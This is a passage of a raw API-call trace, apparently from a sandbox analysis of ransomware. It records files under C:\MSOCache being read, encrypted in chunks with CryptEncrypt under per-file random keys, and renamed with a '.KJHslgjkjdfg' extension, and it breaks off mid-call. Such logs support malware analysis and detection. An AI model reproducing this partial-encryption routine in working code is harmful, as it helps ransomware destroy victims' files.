[0161.460] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.460] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0161.460] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.460] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.460] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.460] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.467] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.470] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.470] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.471] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.471] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.471] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.471] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.477] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.480] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.480] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.481] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.481] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.481] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.482] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.485] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.487] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.487] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.488] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.488] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.488] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.488] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.488] SetEndOfFile (hFile=0x124) returned 1 [0161.491] GetProcessHeap () returned 0x990000 [0161.491] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.491] GetProcessHeap () returned 0x990000 [0161.491] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.491] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.kjhslgjkjdfg")) returned 1 [0161.492] CloseHandle (hObject=0x124) returned 1 [0161.492] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0161.492] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.493] GetProcessHeap () returned 0x990000 [0161.493] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.493] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.493] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0161.493] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xe, lpOverlapped=0x0) returned 1 [0161.495] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.495] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.495] GetProcessHeap () returned 0x990000 [0161.495] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0161.495] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0161.495] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.495] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0161.496] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0161.496] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0161.496] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0161.496] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.496] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0161.496] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.496] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.496] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.496] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x10b2, lpOverlapped=0x0) returned 1 [0161.497] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x10c0) returned 1 [0161.497] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.497] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x10c0, lpOverlapped=0x0) returned 1 [0161.497] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.497] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.497] SetEndOfFile (hFile=0x124) returned 1 [0161.500] GetProcessHeap () returned 0x990000 [0161.500] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.500] GetProcessHeap () returned 0x990000 [0161.500] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.500] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.kjhslgjkjdfg")) returned 1 [0161.501] CloseHandle (hObject=0x124) returned 1 [0161.501] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0161.501] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0161.501] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0161.501] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.502] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=36233052) returned 1 [0161.502] GetProcessHeap () returned 0x990000 [0161.502] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.502] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.502] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.502] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0161.505] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.505] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.505] GetProcessHeap () returned 0x990000 [0161.505] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0161.505] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0161.505] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.505] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0161.505] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0161.505] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0161.505] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0161.505] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.506] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0161.506] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.506] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.506] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.506] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.516] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.520] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.520] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.521] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.521] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.521] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.521] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.529] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.531] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.531] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.532] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.532] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.532] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.532] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.537] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.539] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.539] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.540] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.540] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.540] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.540] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.540] SetEndOfFile (hFile=0x124) returned 1 [0161.543] GetProcessHeap () returned 0x990000 [0161.543] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.543] GetProcessHeap () returned 0x990000 [0161.543] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.543] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.kjhslgjkjdfg")) returned 1 [0161.544] CloseHandle (hObject=0x124) returned 1 [0161.544] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0161.544] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0161.544] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.545] GetProcessHeap () returned 0x990000 [0161.545] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.545] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.545] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0161.545] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x6, lpOverlapped=0x0) returned 1 [0161.547] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: 